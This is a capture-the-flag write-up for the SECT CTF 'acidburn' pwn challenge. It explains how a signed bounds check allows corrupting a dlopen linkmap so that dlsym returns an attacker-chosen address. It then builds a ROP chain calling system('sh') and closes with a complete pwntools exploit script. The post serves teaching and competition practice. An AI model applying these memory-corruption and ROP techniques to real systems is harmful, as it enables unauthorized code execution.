Solved by 4rbit3r
Thanks to the admins for conducting a great CTF. The challenges were really good. The only thing missing were the authors for some challenges who weren’t online for the most part of the CTF. But other than that, great CTF.
Our team managed to get into the 8th rank which is pretty much the first time that has happened in an international CTF.
So let’s move on to the challenge.
The binary given isn’t very hard to reverse engineer. The functionality offered is simple to understand.
The main function starts off by creating an array of 1024 bytes on the heap.
It then enters a while loop and asks us for an index.
If the index is lesser than 1024, we’re allowed to enter how many bytes we would like to input at that index.
It performs another check on the second input to make sure that there is no chance of a buffer overflow.
After that, it proceeds to read size
bytes of input, storing them at offset
bytes from the beginning of the array allocated on the heap.
Then, it just prints out the entire contents of the array and then goes on the execute the loop a second time.
At the beginning of the main function, the binary opens a shared object provided along with the challenge using dlopen
.
And in the while loop, it calls dlsym
with a pointer to “__nanosleep” as the second argument.
For those of you who don’t know what that does, dlopen
loads the shared object into memory and dlsym
just returns a pointer to the function that is present in the shared object.
The return value of dlsym
is stored in a global pointer. This pointer is then invoked with an argument of 1.
All that basically translates to executing __nanosleep(1)
.
So, now onto the vulnerability.
The checking being done on the offset and the size are signed comparisons.
So that means, we can corrupt data that lies before the beginning of the array.
Since the array is never freed, and no further calls to malloc
or free
ever take place, I couldn’t think of a method to gain code execution by corrupting the metadata of the array.
However, if we inspect the heap at the point where data is being read into it, we can find that the array is located pretty far from the beginning of the heap.
The reason is that dlopen
loads the shared object into memory and creates a linkmap structure on the heap.
The first 8 bytes of the linkmap structure is the base address of the shared object that has been loaded into memory.
Now, I wasn’t really sure that corrupting anything in the linkmap structure would be useful in gaining control over execution, but I had already looked over every other possible way to exploit that I could find and this was the only one left.
The offset of __nanosleep
function in the given shared object is 0x10bf0 bytes. So I presumed that all that happens in dlsym
is return base_address+0x10bf0.
Surprisingly, that is what happens. So I could overwrite 0x4141414141414141 in place of the base address and dlsym
would return 0x4141414141414141+0x10bf0.
So using that I can execute any function that I want to, but the question then was identifying which function I wanted to execute.
I looked quite a bit for any chance of memory leaks, but couldn’t find any.
So, I decided to use the read_line function.
The RDI and RSI registers were already pointing to the stack. So ESI would be interpreted as a really large unsigned integer value. And there we have our buffer overflow.
Now all that’s left is to create a ROP chain to pop a shell.
I first tried to leak out the contents of the GOT table and then return to the read_line function again and create a ROP chain to execute system("/bin/sh")
.
But that kept failing for some reason. Probably because the output that I received from the server was a little different from what I got while running my exploit locally.
At this point, I handed over this challenge to @renorobert and decided to try the 300 point one. A few minutes later, I got a message saying that he fixed the exploit and got the flag as well. I’ll be explaining his method from here on.
We already have dlsym
function present in the PLT table. Also there’s a call rax
gadget present in the binary. So if we could fake a call to dlysm
with the second argument being a pointer to “system”, we could chain that with the call to call rax
.
dlsym
requires the first argument to be the handle returned by dlopen
. However, dlsym
also accepts NULL in place of the handle. So, we can proceed with this method
The next task is to store the string “system” at some address in memory that we know. We use the read_line function here to perform a second read that will store the string “system” in the bss segment.
Now, the next issue was making sure that RDI points to “/bin/sh” when the call rax
gadget is being invoked.
Now I could’ve just sent “/bin/sh” along with “system” and used a pop rdi
gadget to point RDI to “/bin/sh”. But there’s an easier way.
The binary contains the string ‘fflush’. We use the pop rdi
gadget to point RDI to the last two bytes of that string (“sh”).
And putting it all together, we get a shell.
Here’s the script
from pwn import * bss = 0x602110 dlsym = 0x400870 sh_str = 0x400520 pop_rdi = 0x400e23 call_rax = 0x400B4D readline = 0x400986 pop_rsi_r15 = 0x400e21 offset_to_base = -1760 offset_to_nanosleep = 0x10bf0 if __name__ == '__main__': if sys.argv[1] == 'local': p = process('./acidburn', env={"LD_PRELOAD":"./libc-2.23.so"}) else: p = remote('pwn2.sect.ctf.rocks', 5555) p.sendlineafter('array: ', str(offset_to_base)) p.sendlineafter('fill at', '6') p.sendlineafter('Enter input: ', p64(readline+9-offset_to_nanosleep)) payload = "A"*16 # # Set up call to readline to store "system" in bss # payload += p64(pop_rdi) payload += p64(bss+0x400) payload += p64(pop_rsi_r15) payload += p64(7) payload += p64(0) payload += p64(readline) # # Fake call to dlsym with rdi=0 and rsi=>"system" # payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi_r15) payload += p64(bss+0x400) payload += p64(0) payload += p64(dlsym) # # Set rdi to point to "sh" # payload += p64(pop_rdi) payload += p64(sh_str) # # Call system # payload += p64(call_rax) # # Here we go # p.sendline(payload) p.sendline("system\x00") p.interactive()
And running it gives the flag : SECT{wh0a_hope_u_understand_how_dlsym_w0rks_now}
So I guess that was the intended solution. I love these kind of challenges that make you learn something new. The binary is very simple to understand, vulnerability is easy to spot. The main purpose of pwn challenges is to test the ability of the person to exploit the given situation rather than spending hours trying to reverse engineer and figure out the vulnerability.
Anyways, good job admins. We’ll be sure to play next year as well.
——————————————————————-
Update
——————————————————————-
The admins were kind enough to provide us with a license for Binary Ninja for this writeup. Thank’s a bunch guys. You rock!
Hey, love your writeup, no libc offsets needed! 1337
Here is my PoC xD: https://ghostbin.com/paste/ktyck
/deep
LikeLike